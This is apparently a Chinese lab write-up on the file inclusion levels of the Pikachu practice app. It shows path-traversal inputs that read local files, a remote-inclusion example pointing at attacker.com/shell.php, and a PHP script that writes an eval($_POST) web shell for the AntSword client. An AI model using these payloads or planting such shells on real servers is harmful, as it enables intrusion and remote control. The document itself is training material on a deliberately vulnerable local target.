Pikachu之文件包含
File Inclusion(Local)文件包含漏洞是程序根据用户输入去加载包含一个文件但没有做好限制导致攻击者可以让程序加载本不应该加载的文件。假设网站有三个文件index.php news.php about.phpindex.php里面有这样的代码?php $page$_GET[page]; include($page); ?include()把另一个文件拿过来执行比如index.php?pagenews.php就是include(news.php);网页显示新闻页面如果是index.php?pageabout.php那么就是include(about.php);那么我们可以通过控制?page来进行非法输入?page../../../../Windows/win.ini来读取系统文件我们来尝试去读取我放在桌面上的flag.txthttp://pikachu.com/vul/fileinclude/fi_local.php?filenamefile1.phpsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2fi_local.php?filenamefile1.php我们修改file1.php为C:\Users\Z\Desktop\flag.txt发现报错查看报错include()函数里面在我们的路径前面拼接了一个include/路径因为include路径里面没有C:\Users\Z\Desktop\flag.txt所以报错了include(“include/用户输入”)?filename..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\Z\Desktop\flag.txt我们可以多输一些来确保回到根目录File Inclusion(remoto)我们打开会看到有一行红色报错提示我们去打开allow_url_include这个是默认关闭的为什么这个是默认关闭的因为allow_url_include Off是不允许 include 一个 URL这很危险因为后台include($_GET[filename]);攻击者filenamehttp://attacker.com/shell.php这样就会被拿到权限PHP 从 5.x 开始默认关闭我们打开php.ini路径为下打开pikachu正在使用的php版本找到php.iniphpstudy_pro\Extensions\php\php5.6.9nts搜索allow_url_include,改为On并保存退出刷新页面就好了我们在pikachu_pro\WWW目录下放置一个test.php里面有我们的生成一句话木马?php $dir dirname($_SERVER[SCRIPT_FILENAME]); file_put_contents($dir . /shell.php, ?php eval(\$_POST[\Z\]);?); echo $dir . /shell.php; ?访问使用蚁剑进行连接因为生成在了D:/phpstudy_pro/WWW/shell.php所以url填的是127.0.0.1/shell.php密码为Z

相关新闻

技术平权——眨眼猫打造“一顿饭的会务智能体”,让每一场会务活动都能拥有自己的智能体小程序!

技术平权——眨眼猫打造“一顿饭的会务智能体”,让每一场会务活动都能拥有自己的智能体小程序!

关键词▪️一顿饭的成本:平均360元▪️一顿饭的时间:30分钟完成小程序搭建▪️高端会务功能:同样拥有会务报名、现场签到、查座、资料下载、日程、手册等全面功能眨眼猫会务智能体前身是“眨眼猫智慧会务”,从2018年起&#xff0c…

2026/7/23 7:36:22 阅读更多 →
NVIDIA Isaac Lab:机器人强化学习的仿真训练与Sim2Real迁移实战

NVIDIA Isaac Lab:机器人强化学习的仿真训练与Sim2Real迁移实战

1. 项目概述:从仿真到现实,机器人学习的“健身房”如果你正在或打算涉足机器人学习领域,那么“仿真”这个词对你来说一定不陌生。无论是让机械臂学会抓取,还是让四足机器人学会行走,直接在物理机器人上“试错”的成本和…

2026/7/24 10:37:12 阅读更多 →
Android JSON解析方案对比:从fastjson到现代替代方案

Android JSON解析方案对比:从fastjson到现代替代方案

1. 为什么我们需要重新审视Android JSON解析方案fastjson作为阿里巴巴开源的Java JSON处理库,曾经是Android开发者的首选工具。它的高性能和简单易用的API设计,确实在早期移动互联网时代解决了JSON序列化/反序列化的痛点。但作为一名从2012年就开始接触A…

2026/7/24 10:43:45 阅读更多 →

最新新闻

AMIC120时钟输出与接口时序设计:从参数解读到硬件可靠性的工程实践

AMIC120时钟输出与接口时序设计:从参数解读到硬件可靠性的工程实践

1. 项目概述与核心价值在嵌入式系统,尤其是基于AMIC120这类高性能Sitara处理器的设计中,时钟和时序是决定系统稳定性的“命脉”。很多工程师在项目初期,往往把精力集中在功能实现和软件逻辑上,却容易忽视硬件底层最关键的时钟与接…

2026/7/24 12:43:22 阅读更多 →
Qwen3.1-B大模型全参数调优指南与生产部署实践

Qwen3.1-B大模型全参数调优指南与生产部署实践

1. 项目背景与核心价值在开源大模型生态中,Qwen系列一直保持着快速迭代和技术领先。这次拿到的qwen3.1-B版本,相比前代在数学推理和代码生成能力上有显著提升。但官方发布的基准测试结果都是在理想环境下得出的,实际业务场景中要发挥其最大潜…

2026/7/24 12:42:22 阅读更多 →
旗讯OCR:金融医疗场景下的智能文档解析方案

旗讯OCR:金融医疗场景下的智能文档解析方案

1. 项目背景与核心价值纸质文档数字化一直是企业办公场景中的刚需。从财务票据处理到合同管理,从档案电子化到报表分析,每天都有海量纸质文件需要转化为可编辑、可检索的电子数据。传统OCR技术虽然能解决基础的文字识别问题,但在实际业务中仍…

2026/7/24 12:42:22 阅读更多 →
AI如何助力毕业论文写作:Paperzz智能写作功能解析

AI如何助力毕业论文写作:Paperzz智能写作功能解析

1. 项目背景与核心价值每到毕业季,数以百万计的高校学生都会面临毕业论文这座"大山"。从选题开题到文献综述,从数据分析到论文撰写,整个过程往往伴随着巨大的压力和焦虑。特别是在最后冲刺阶段,很多同学会发现自己的写作…

2026/7/24 12:42:22 阅读更多 →
金融级银行卡号识别技术:从OCR原理到工程实践

金融级银行卡号识别技术:从OCR原理到工程实践

1. 项目背景与核心价值银行卡号识别是金融科技领域的基础性技术,每天影响着数亿级别的交易流程。传统OCR技术在处理银行卡这种特定场景时面临三大痛点:卡面材质反光、数字字体特殊、背景干扰复杂。我在某第三方支付公司参与风控系统建设时,曾…

2026/7/24 12:42:22 阅读更多 →
Chrome插件网络请求拦截:webRequest API详解与实战

Chrome插件网络请求拦截:webRequest API详解与实战

Chrome插件网络请求拦截:webRequest API详解与实战 摘要:本文详细介绍Chrome插件的webRequest API,重点讲解网络请求拦截、修改、监听等核心技术,并以MuxDesk视频下载为例展示实际应用。 一、引言 1.1 背景介绍 webRequest API是…

2026/7/24 12:42:22 阅读更多 →

日新闻

用Highcharts 创建可拖拽三维散点立方体3D图表

用Highcharts 创建可拖拽三维散点立方体3D图表

该案例基于Highcharts scatter3d 三维散点图实现空间立方体散点可视化,核心特色:三维 X/Y/Z 三轴空间,所有散点分布在 0~10 立方体空间内;散点使用径向渐变实现立体 3D 圆球质感;支持鼠标 / 触屏拖拽画布,…

2026/7/24 0:00:29 阅读更多 →
AppCertDlls:进程创建路径上的 DLL 入口

AppCertDlls:进程创建路径上的 DLL 入口

AppCertDlls:进程创建路径上的 DLL 入口 AppCertDlls 位于 HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls。本文的程序功能是只读列出这个键在 64 位和 32 位注册表视图中的全部值,并显示每条值的来源、名称、类型和可安全显示的数…

2026/7/24 0:00:29 阅读更多 →
我的编程之路:第一篇博客

我的编程之路:第一篇博客

大家好,我是一名编程初学者,同时这也是我编程学习之路上的第一篇博客。在这里,我想要向大家介绍我的一些想法和规划。a.自我介绍我是一个刚刚接触编程的新手,目前在学习c语言,我对编程世界充满了强烈的好奇。当然&…

2026/7/24 0:00:29 阅读更多 →

周新闻

Go语言静态资源打包方案对比与实践指南

Go语言静态资源打包方案对比与实践指南

1. 项目背景与核心需求在Go语言开发中,我们经常需要处理静态资源文件的打包问题。无论是Web应用的模板文件、前端资源,还是配置文件、证书等,都需要随程序一起分发。传统做法是将这些文件与编译后的二进制文件放在同一目录下,但这…

2026/7/24 3:59:20 阅读更多 →
Go语言实现高性能LDAP认证服务的架构与实践

Go语言实现高性能LDAP认证服务的架构与实践

1. 项目背景与核心价值LDAP(轻量级目录访问协议)作为企业级身份认证的黄金标准,已经服务了超过80%的财富500强公司。我在金融科技领域实施统一认证体系时,发现传统Java方案存在启动慢、内存占用高等痛点。而Go语言凭借其协程并发模…

2026/7/24 1:23:39 阅读更多 →
【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

更多请点击: https://intelliparadigm.com 第一章:AI面试官实战指南的核心价值与适用场景 AI面试官并非替代人类HR的“黑箱工具”,而是以可解释、可审计、可迭代的方式,赋能招聘全链路的关键基础设施。其核心价值在于将主观经验沉…

2026/7/23 17:49:47 阅读更多 →

月新闻